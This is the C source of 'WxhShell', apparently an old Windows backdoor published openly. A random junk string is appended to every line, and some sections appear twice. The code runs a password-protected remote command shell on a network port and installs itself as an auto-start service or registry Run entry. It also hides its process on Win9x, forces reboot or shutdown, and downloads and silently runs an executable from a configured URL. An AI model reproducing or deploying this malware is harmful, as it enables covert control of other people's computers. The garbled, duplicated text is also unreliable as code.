    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Aa.eu=@I  
    if(Boot(SHUTDOWN)) *t)Y@=k3>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J@Qt(rRxi  
    else { SWX[|sjdB  
    closesocket(wsh); l8XgzaW  
    ExitThread(0); p>g5WebBN  
    } 4P406,T]r  
    break; 6ka, FjJ\  
    } 4dEfXrMf  
  // 获取shell {CO]wqEj  
  case 's': { - kGwbV}  
    CmdShell(wsh); k3HPY}-  
    closesocket(wsh); pQ_EJX)  
    ExitThread(0); /tG0"1{  
    break; L[|($vQ"  
  } nOH x^(  
  // 退出 !iys\ AV  
  case 'x': { r@O5{V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m#i5}uHHg  
    CloseIt(wsh); )g()b"Z #>  
    break; SH009@l_8  
    } F&Bh\C)]  
  // 离开 r+0<A.''a  
  case 'q': { Z}8khNCYr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y:m ;_U,%c  
    closesocket(wsh); z(8:7 G  
    WSACleanup(); vuNt+  
    exit(1); !R 2;]d*  
    break; KWq&<X5  
        } hR g?H  
  } /:+f5\"-b  
  } fLtN-w6t  
vj_[LFE  
  // 提示信息 sU|\? pJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M_OvIU(E  
} cbton<r~  
  } ?ufX3yia  
!LunoC>B  
  return; +E7Os|m  
} nT;Rwz$3  
**D3.-0u&  
// shell模块句柄 7gk}f%,3P  
int CmdShell(SOCKET sock) ;v*J:Mn/=  
{ (}#8$ )  
STARTUPINFO si; S`\03(zDA  
ZeroMemory(&si,sizeof(si)); I1a>w=x!+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XK";-7TZt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =o!1}'1}}  
PROCESS_INFORMATION ProcessInfo; Q[wTV3d  
char cmdline[]="cmd"; xA&RMu&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #80 [q3  
  return 0; -lb,0   
} 5}+&Em":  
yMd<<:Ap  
// 自身启动模式 X0}+X'3  
int StartFromService(void) KkIgyLM  
{ 6XFLWN-)  
typedef struct Bp7`W:?# "  
{ YV{^2)^  
  DWORD ExitStatus; WLy%| {/  
  DWORD PebBaseAddress; R [[ #r5q  
  DWORD AffinityMask; ]RvFn~E!s  
  DWORD BasePriority; x(tf0[g  
  ULONG UniqueProcessId; Hdn%r<+c  
  ULONG InheritedFromUniqueProcessId;  s-Z<  
}   PROCESS_BASIC_INFORMATION; >,9ah"K_x  
wDvG5  
PROCNTQSIP NtQueryInformationProcess; pz hPEp;  
kA"|PtrW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j@Ta\a-,x  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VqIzDs  
}x9D;%)/  
  HANDLE             hProcess; ^5GyW`a}  
  PROCESS_BASIC_INFORMATION pbi; )Z=S'm k4_  
XHh!Q0v;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1^HmM"DD  
  if(NULL == hInst ) return 0; u alpm#GU  
;h-W&i7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QMz6syn4u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vg"$&YX9"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z w`9B  
\se /2l  
  if (!NtQueryInformationProcess) return 0; MmbS ["A  
Y6Mp[=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C9FzTg/c  
  if(!hProcess) return 0; vT&) 5nN  
4%GwCEnS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2LTMt?  
L%CBz]`  
  CloseHandle(hProcess); j1141md 5  
8k0f&Cak=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QF74'  
if(hProcess==NULL) return 0; S=@bb$4-T  
7;i [  
HMODULE hMod; dc+U #]tS  
char procName[255]; WSKubn?7B  
unsigned long cbNeeded; @CUYl*.PD  
e|e"lP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kR !O-@GJ]  
6/=0RTd  
  CloseHandle(hProcess); b)(rlX  
d$gT,+|vu  
if(strstr(procName,"services")) return 1; // 以服务启动 # GbfFoE  
}|j \QjH  
  return 0; // 注册表启动 Gm.sl},  
} hRFm]q  
u(Kof'p7  
// 主模块 sA|!b.q  
int StartWxhshell(LPSTR lpCmdLine) {@7xOOAw  
{ /)-OK7x  
  SOCKET wsl; y(fJ{k   
BOOL val=TRUE; G(fS__z  
  int port=0; b3M`vJ+{  
  struct sockaddr_in door; ?nCo?A  
w2(pgWed  
  if(wscfg.ws_autoins) Install(); ^Mmsja5K  
a`*Dq"9pV  
port=atoi(lpCmdLine); Aw) I:d7F  
?heg_ ~P  
if(port<=0) port=wscfg.ws_port; !XqU'xxC  
buu /Nz$  
  WSADATA data; ,vh $G 7D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N87)rhXSo,  
;ipT0*Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #WlTE&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nSr_sD6"  
  door.sin_family = AF_INET; gtwUY$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {y%cTuC=  
  door.sin_port = htons(port); '5r\o8RjN  
^B!cL~S*I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )#Le"&D  
closesocket(wsl); 8-&c%h 1  
return 1; hqW),^\>'  
} (Zz8 ldO  
dQQ!QbI(.  
  if(listen(wsl,2) == INVALID_SOCKET) { 6BdK)s  
closesocket(wsl); ) -^(Su(!  
return 1; @j`gx M_-O  
} dI?x&#(vw  
  Wxhshell(wsl); =3dR-3  
  WSACleanup(); *w`_(X f  
s|[CvjL#0  
return 0; w\zNn4B})A  
*w OU=1+  
} $}8@?>-w  
UGDB4S  
// 以NT服务方式启动 Ow50M;E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WI6h G  
{ X8\UTHT& 0  
DWORD   status = 0; !I jU*c@  
  DWORD   specificError = 0xfffffff; Qv}TUX4  
$e, N5/O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fda)t1u\8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]RxJ^'a63  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?ocBRla  
  serviceStatus.dwWin32ExitCode     = 0; QX+Xi<YE-  
  serviceStatus.dwServiceSpecificExitCode = 0; W QqOXF  
  serviceStatus.dwCheckPoint       = 0; 2Bz\Tsp  
  serviceStatus.dwWaitHint       = 0; -~Chf4?<4  
' +f(9/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X6Q\NJ"B  
  if (hServiceStatusHandle==0) return; H{4_,2h =m  
:SD#>eD0  
status = GetLastError(); =eyPo(B  
  if (status!=NO_ERROR) mfx-Ja_a  
{ 5q;c=oRUj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; TXS{=  
    serviceStatus.dwCheckPoint       = 0; Nil nS!BM  
    serviceStatus.dwWaitHint       = 0; \gFV6 H?`  
    serviceStatus.dwWin32ExitCode     = status; 3jx/1VV  
    serviceStatus.dwServiceSpecificExitCode = specificError; Tvl"KVGm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7DPxz'7):  
    return; ^O QeOTF  
  } /d*[za'0  
p5aqlYb6r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $U4[a:  
  serviceStatus.dwCheckPoint       = 0; &>xz  
  serviceStatus.dwWaitHint       = 0; k![oJ.vHD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `4-N@h  
} RpwDOG  
eX$RD9 H  
// 处理NT服务事件,比如:启动、停止 kD me>E=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t\WU}aKML  
{ ~~3*o  
switch(fdwControl) :(YFIW`59  
{ tTb fyI  
case SERVICE_CONTROL_STOP: UCo`l~K)qg  
  serviceStatus.dwWin32ExitCode = 0; Z]XjN@j"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~7w LnB  
  serviceStatus.dwCheckPoint   = 0; wlFK#iK  
  serviceStatus.dwWaitHint     = 0; &N*l?7(  
  { i8A-h6E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;]l`Q,*OXb  
  } "^oU&]KQJ  
  return; cI'su?  
case SERVICE_CONTROL_PAUSE: uhU'm@JZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /5X_gjOL,  
  break; #wZbG|%  
case SERVICE_CONTROL_CONTINUE: >eWORf>7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; PXF u  
  break; Vy6~O|68=  
case SERVICE_CONTROL_INTERROGATE: n)PqA*  
  break; q)3QmA~  
}; T>|Y_3YO_a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D67z6jep(  
} Md&K#)9,(  
Dxe]LES\]  
// 标准应用程序主函数 |$C fm}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1}~ZsrF  
{ oDWNOw  
0|kH0c,T-  
// 获取操作系统版本 8p#V4liE  
OsIsNt=GetOsVer(); $ I J^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j8+>E ?nm  
KMx '(  
  // 从命令行安装 b!qlucA eE  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6OR)97  
kZ=2# .  
  // 下载执行文件 RG9iTA'  
if(wscfg.ws_downexe) { OQVo4yl"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IEe;ygL#  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'vV+Wu#[  
} JkQ\r$ Y.  
n5y0$S/ D  
if(!OsIsNt) { y+ 4#Iy  
// 如果时win9x,隐藏进程并且设置为注册表启动 K j~!E H"  
HideProc(); }l&y8,[:  
StartWxhshell(lpCmdLine); 6,!$S2(zT  
} ]GDjR'[z  
else s@p:XO  
  if(StartFromService()) {I/t3.R`  
  // 以服务方式启动 MkWbPm)  
  StartServiceCtrlDispatcher(DispatchTable); Lb?0<  
else e?N3&ezp  
  // 普通方式启动 Z4g<Ys*  
  StartWxhshell(lpCmdLine); xwj{4fzpk{  
 `)>}b 3  
return 0; $h[Q }uW  
} >-y}t9[/  
)6%a9&~H  
}@~+%_;  
4]ko  
=========================================== 89{`GKWX  
zYM0?O8pJ~  
e-nwR  
$RYOj{1  
R[rOzoNp0  
wRZS+^hx  
" 'wWuR@e#&  
hxt;sQAo{  
#include <stdio.h> q3`~uTzk  
#include <string.h> 8T8]gM  
#include <windows.h> PAH#yM2Ic  
#include <winsock2.h>  yyGn <  
#include <winsvc.h> Gz4LjMQ &  
#include <urlmon.h> &_-3>8gU  
Sbeq%Iwm.  
#pragma comment (lib, "Ws2_32.lib") CdMV(  
#pragma comment (lib, "urlmon.lib") x`I"%pG  
CF v]wS  
#define MAX_USER   100 // 最大客户端连接数 30<_`  
#define BUF_SOCK   200 // sock buffer RY1-Zjlb<  
#define KEY_BUFF   255 // 输入 buffer 4O:HT m  
,t!I%r  
#define REBOOT     0   // 重启 DcG=u24Xy!  
#define SHUTDOWN   1   // 关机 \Y`psSf+  
Ua4P@#cU  
#define DEF_PORT   5000 // 监听端口 6R*eJICN  
$LG.rJ/*  
#define REG_LEN     16   // 注册表键长度 ENI|e,'[  
#define SVC_LEN     80   // NT服务名长度 |XMWi/p  
,!X:wY}dW  
// 从dll定义API ["e;8H[K)%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +11 oVW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KUC%Da3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "rVM23@ tq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Asy2jw\V  
Hz=s)6$ey  
// wxhshell配置信息 *?VB/yO=0  
struct WSCFG { ~6+Um_A_L  
  int ws_port;         // 监听端口 c:+UC  
  char ws_passstr[REG_LEN]; // 口令 b`ksTO`}x  
  int ws_autoins;       // 安装标记, 1=yes 0=no HBs 6:[q  
  char ws_regname[REG_LEN]; // 注册表键名 qIB2eCXw  
  char ws_svcname[REG_LEN]; // 服务名 ,1]VY/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;9q$eK%d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1~j,A[&|<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U ,!S1EiBs  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1bHQB$%z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {:KPEN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t gHN\@yj  
$ e.Bz `  
}; a54S,}|  
na 0Zb  
// default Wxhshell configuration xk3)#*  
struct WSCFG wscfg={DEF_PORT, qQ1D}c@  
    "xuhuanlingzhe", R^]a<g,  
    1, P@x@5uC2  
    "Wxhshell", K)}Vr8,V  
    "Wxhshell", =h|7bYLy  
            "WxhShell Service",  )\kNufP  
    "Wrsky Windows CmdShell Service", ~#)9Kl7<X  
    "Please Input Your Password: ", bJkFCI/  
  1, 1lJ^$U  
  "http://www.wrsky.com/wxhshell.exe", k(v &+v  
  "Wxhshell.exe" Do5{t'm3  
    }; i[w&!mn%  
54/ZGaonz  
// 消息定义模块 j^eM i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kBY#= e).  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |tz{Es<`B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _X@ Q`d  
char *msg_ws_ext="\n\rExit."; 88 ca  
char *msg_ws_end="\n\rQuit."; t{`-G*^  
char *msg_ws_boot="\n\rReboot..."; BqdGU-Q  
char *msg_ws_poff="\n\rShutdown..."; 9;rZ)QD  
char *msg_ws_down="\n\rSave to "; Q5u3~Q'e  
6zi Mf  
char *msg_ws_err="\n\rErr!"; Zu>CR_C  
char *msg_ws_ok="\n\rOK!"; v[ R_6  
uKB V`I  
char ExeFile[MAX_PATH]; ldc`Y/:{  
int nUser = 0; (a~V<v"  
HANDLE handles[MAX_USER]; Yp8XZ 3  
int OsIsNt; ,mKUCG  
gKgdu($NJ  
SERVICE_STATUS       serviceStatus; R;uP^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {UF|-VaG  
RB;2  
// 函数声明 75A60Uw  
int Install(void); pK'D(t  
int Uninstall(void); Ye^xV,U@  
int DownloadFile(char *sURL, SOCKET wsh); Q8h=2YL  
int Boot(int flag); 9WHarv2@  
void HideProc(void); ]eX(K5 A  
int GetOsVer(void); rP/W,! 7:K  
int Wxhshell(SOCKET wsl); &ha<pj~  
void TalkWithClient(void *cs); T(k:\z/  
int CmdShell(SOCKET sock); L Z3=K`gj  
int StartFromService(void); >feeVk  
int StartWxhshell(LPSTR lpCmdLine); 8^R~qpg%  
`_"?$ v2F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C\|HN=2eh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2d<`dQY{l3  
Xob(4  
// 数据结构和表定义 D2io3Lo$ov  
SERVICE_TABLE_ENTRY DispatchTable[] = zOJzQZ~  
{ W#wC  
{wscfg.ws_svcname, NTServiceMain}, @v.?z2h  
{NULL, NULL} Bu{%mm(  
}; RhE|0N=  
u N_<G  
// 自我安装 d ;,C[&  
int Install(void) =H^~"16  
{ (: mF+%(  
  char svExeFile[MAX_PATH]; JqEo~]E]  
  HKEY key; `[x'EJp#  
  strcpy(svExeFile,ExeFile); B<~BX [  
q\~D:z$+CO  
// 如果是win9x系统,修改注册表设为自启动 'o7V6KG  
if(!OsIsNt) { SV^[)p )  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P%<MQg|k`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x7xQrjE  
  RegCloseKey(key); C.se/\PE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mk6>}z*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <u  
  RegCloseKey(key); ^a#W|-:  
  return 0; 4hn' b[  
    } RVpo,;:  
  } C4|79UG>s  
} j"&Oa&SH  
else { ,ZnL38GW  
lnV!Xuf  
// 如果是NT以上系统,安装为系统服务 cQ0+kX<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cWI7];/d;  
if (schSCManager!=0) 5)gC<  
{ a JQ_V  
  SC_HANDLE schService = CreateService 2}5@: cwR+  
  ( YCyh+%Q(  
  schSCManager, mH'om SCz  
  wscfg.ws_svcname, 4c.!^EiV  
  wscfg.ws_svcdisp, 0X%#9s ~  
  SERVICE_ALL_ACCESS, U{HBmSR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `<% w4 E  
  SERVICE_AUTO_START, mrlhj8W?!  
  SERVICE_ERROR_NORMAL, tpP68)<ns  
  svExeFile, 0rc'SEl  
  NULL, jfZ)  
  NULL, _~!c%_  
  NULL, Qaiqx"x3  
  NULL, =DI/|^j{ ;  
  NULL ;]2d%Qt  
  ); Nh6!h%  
  if (schService!=0) a3:1`c/~\  
  { D5!I{hp"  
  CloseServiceHandle(schService); |(9l_e|  
  CloseServiceHandle(schSCManager); J z-RMX=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &3P"l.j  
  strcat(svExeFile,wscfg.ws_svcname); c2yZvi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Angt=q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ; VQ:\f G  
  RegCloseKey(key); L0ZAF2O  
  return 0; &=lh Kt  
    } =8 DS~J{  
  } Oq 95zo  
  CloseServiceHandle(schSCManager); r<"k /  
} p Acu{5#7  
} ~B`H5#  
>W'"xK|:  
return 1; =AeOkie  
} p{w;y6e  
,){WK|_  
// 自我卸载 &GI'-i  
int Uninstall(void) RP 6hw|  
{ w.Go]dpK  
  HKEY key; bWMb@zm  
4& 9V  
if(!OsIsNt) { EL9JM}%0v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &"X1w $  
  RegDeleteValue(key,wscfg.ws_regname); ES[]A&tf  
  RegCloseKey(key); tSaD=#v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1( ]{tF  
  RegDeleteValue(key,wscfg.ws_regname); H(Ad"1~.#  
  RegCloseKey(key); _(KzjOMt  
  return 0; KocNJ TB  
  } fyv S1_  
} @Sz7*p  
} , L8(Vo`-  
else { Ewo6Q){X  
vH]2t.\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [uu<aRAg3O  
if (schSCManager!=0) zB+zw\ncN  
{ p[D,.0SuC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l/bZE.GJ  
  if (schService!=0) K)9f\1\  
  { V_T~5%9Fy  
  if(DeleteService(schService)!=0) { qWI8 >my11  
  CloseServiceHandle(schService); BU%gXr4Ra  
  CloseServiceHandle(schSCManager); Gk<6+.c~  
  return 0; 4pFoSs?\  
  } "%+9p6/  
  CloseServiceHandle(schService); \0^Je>-:U  
  } !A"-9OS2  
  CloseServiceHandle(schSCManager); ^L's45&_  
} \-:4TuU  
} Z]^O=kX7k  
%eE 6\f%g  
return 1; t` zPx#])  
} `w% Qs)2  
FdMTc(>  
// 从指定url下载文件 e:=+~F(f  
int DownloadFile(char *sURL, SOCKET wsh) g<MCvC@  
{ aX35^K /  
  HRESULT hr;  6Xt c3  
char seps[]= "/"; $`Aps7A  
char *token; 2QV|NQSl  
char *file; /U"3LX  
char myURL[MAX_PATH]; 5f#]dgBe  
char myFILE[MAX_PATH]; ngH_p>  
S{qsq\X  
strcpy(myURL,sURL); r1|;V~ a$~  
  token=strtok(myURL,seps); 6 kAXE\T  
  while(token!=NULL) s!/Q>A  
  { s C?-L  
    file=token; \v([,tiW%  
  token=strtok(NULL,seps); `HsI)RmX  
  } o,=dm@j  
I>spJ5ls  
GetCurrentDirectory(MAX_PATH,myFILE); )dI  `yf  
strcat(myFILE, "\\"); Y/G~P,9  
strcat(myFILE, file); MrpT5|t  
  send(wsh,myFILE,strlen(myFILE),0);  76EMS?e  
send(wsh,"...",3,0); >3y:cPTM5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GP=&S|hi  
  if(hr==S_OK) "A&HNkRz  
return 0; @Yh%.#\i%  
else &, WQr  
return 1; }%k 3  
%ZJ;>a#  
} $U}GX'1LZ  
bF? {  
// 系统电源模块 + Scw;gO  
int Boot(int flag) R(DlJ  
{ Z=>#|pW,)  
  HANDLE hToken; [xg& `x9,.  
  TOKEN_PRIVILEGES tkp; IHNl`\Le  
J, vEZT<Mt  
  if(OsIsNt) { 6?KJ"Ai9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B}Sl1)E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VY'1 $  
    tkp.PrivilegeCount = 1; *W=R:Bl!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C2W&*W*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3X}>_tj  
if(flag==REBOOT) { g;G.uF&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,$; pLjo6  
  return 0; dO\irv)  
} %jmL#IN)  
else { >^%TY^7n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i@STo7=  
  return 0; l*<RKY8  
} I?%iJ%  
  } +`Ypc  
  else { hZLwg7X!   
if(flag==REBOOT) { ;Fm7!@u^0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WY" `wM  
  return 0; H6]z98  
} wdTjJf r  
else { by0M(h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $${9 %qPzb  
  return 0; D$G:#z*  
} \*6Ld %:h$  
} :sXn*k4v  
uvj`r5ei  
return 1; B]5G"4,  
} 4Rev7Mc  
h;2n2.Q  
// win9x进程隐藏模块 A>W8^|l6+-  
void HideProc(void) MLn\ b0  
{ :I^I=A%Pe(  
B]|"ePj-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `f+l\'.s  
  if ( hKernel != NULL ) e`Vb.E)  
  { u.L{3gkT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uO;_T/^u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T_*R^Ukb5  
    FreeLibrary(hKernel); $oU40HA)W]  
  } {9*k \d/;  
UFY_.N~  
return; 7Q3a0`Iq  
} Fb9!x/$tGV  
7!"OF  
// 获取操作系统版本 q\a'pp9d  
int GetOsVer(void) Q7@.WG5  
{ 0x]W W|se*  
  OSVERSIONINFO winfo; SN/ e41  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |] 8Hh>  
  GetVersionEx(&winfo); Y1Qg|U o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _0(Bx?[h  
  return 1; Pf?y!d K<  
  else V8{5 y <Y>  
  return 0; iN+Tig?c  
} E||[(l,b  
c>nXnN  
// 客户端句柄模块 NRgNW1#  
int Wxhshell(SOCKET wsl) rYYAZ(\8  
{ j[<}l&  
  SOCKET wsh; U$5 lh  
  struct sockaddr_in client; WGeTL`}dh  
  DWORD myID; bI?YNt,  
1rmK#ld"=Z  
  while(nUser<MAX_USER) 4PzCm k  
{  B1!b@0^  
  int nSize=sizeof(client); 0kdPr:B Q0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N ?mTAF'M  
  if(wsh==INVALID_SOCKET) return 1; UBy< vwnU  
PtT=HvP!k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g1s\6%g  
if(handles[nUser]==0) Eax^1 |6  
  closesocket(wsh); ni$S@0  
else _H+|Ic  
  nUser++; 5VG[FY6Pl  
  } #A '|O\RGP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U ,wJ8  
s]z-d!G  
  return 0; SsE8;IGH  
} 39(]UO6^;  
"\9!9U#!  
// 关闭 socket d!i#@XZ^  
void CloseIt(SOCKET wsh) -0/5 !  
{ }t^N|I  
closesocket(wsh); k[p7)ec  
nUser--; 5 UQbd8  
ExitThread(0); NY`$D}Bi  
} ,>rr|O  
Rr|&~%#z  
// 客户端请求句柄 {:;599l  
void TalkWithClient(void *cs) *$I5_A8,.  
{ ,@1.&!F4it  
X<<hb  
  SOCKET wsh=(SOCKET)cs; D< h+r?  
  char pwd[SVC_LEN]; hS}d vZa  
  char cmd[KEY_BUFF]; }I1SC7gY  
char chr[1]; RS>;$O_(M  
int i,j; @rO4BTi>O  
y(!Y N7_A  
  while (nUser < MAX_USER) { P~5[.6gW  
)Uv lEG']  
if(wscfg.ws_passstr) { !5;A.f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jeM/8~^4-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "#a_--"k9  
  //ZeroMemory(pwd,KEY_BUFF); 1b,,uI_  
      i=0; cx(aMcX6  
  while(i<SVC_LEN) { ;QA`2$Ow  
.%pbKi `  
  // 设置超时 $YX\&%N  
  fd_set FdRead; 'F- wC!  
  struct timeval TimeOut; 8RfFP\AP  
  FD_ZERO(&FdRead); 4t0B_o"  
  FD_SET(wsh,&FdRead); Sf2pU!5n^  
  TimeOut.tv_sec=8; >(} I7  
  TimeOut.tv_usec=0; mrzrQ@sN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v~2$9x!9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g0P^O@8  
;;9W/m~]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JIl<4 %A  
  pwd=chr[0]; *hP9d;-Ar  
  if(chr[0]==0xd || chr[0]==0xa) { %$)[qa3  
  pwd=0; FM)Es&p&  
  break; YB^[HE\#y  
  } gdu8O!9)  
  i++; TfYXF`d  
    } K9#=@}!3L  
]+SVQ|v0  
  // 如果是非法用户,关闭 socket /=5YHq>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I'_u4  
} \UdHN=A&  
UUf-G0/P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nnV(MB4z1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kXmnLxhS/  
hf/6VlZ  
while(1) { t_-1sWeA!  
[q/tKdo@  
  ZeroMemory(cmd,KEY_BUFF); \Qh{uk[  
_\9|acFT2O  
      // 自动支持客户端 telnet标准   q\P"AlpC!  
  j=0; LG0z|x(  
  while(j<KEY_BUFF) { [84f[`!Ui  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1@j0kTJ~m  
  cmd[j]=chr[0]; c Bl F  
  if(chr[0]==0xa || chr[0]==0xd) { o Q!56\R  
  cmd[j]=0; *vL2n>HH  
  break; 8J P{`)  
  } jb!R  
  j++; 6[dLj9 G%  
    } Q]Ymv:M,  
0wx lsny?  
  // 下载文件 k}5Sz  
  if(strstr(cmd,"http://")) { TsPx"+>7`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y&HfF~  
  if(DownloadFile(cmd,wsh)) f__r " N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dPdodjSu,!  
  else GWNLET  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); { *"I4  
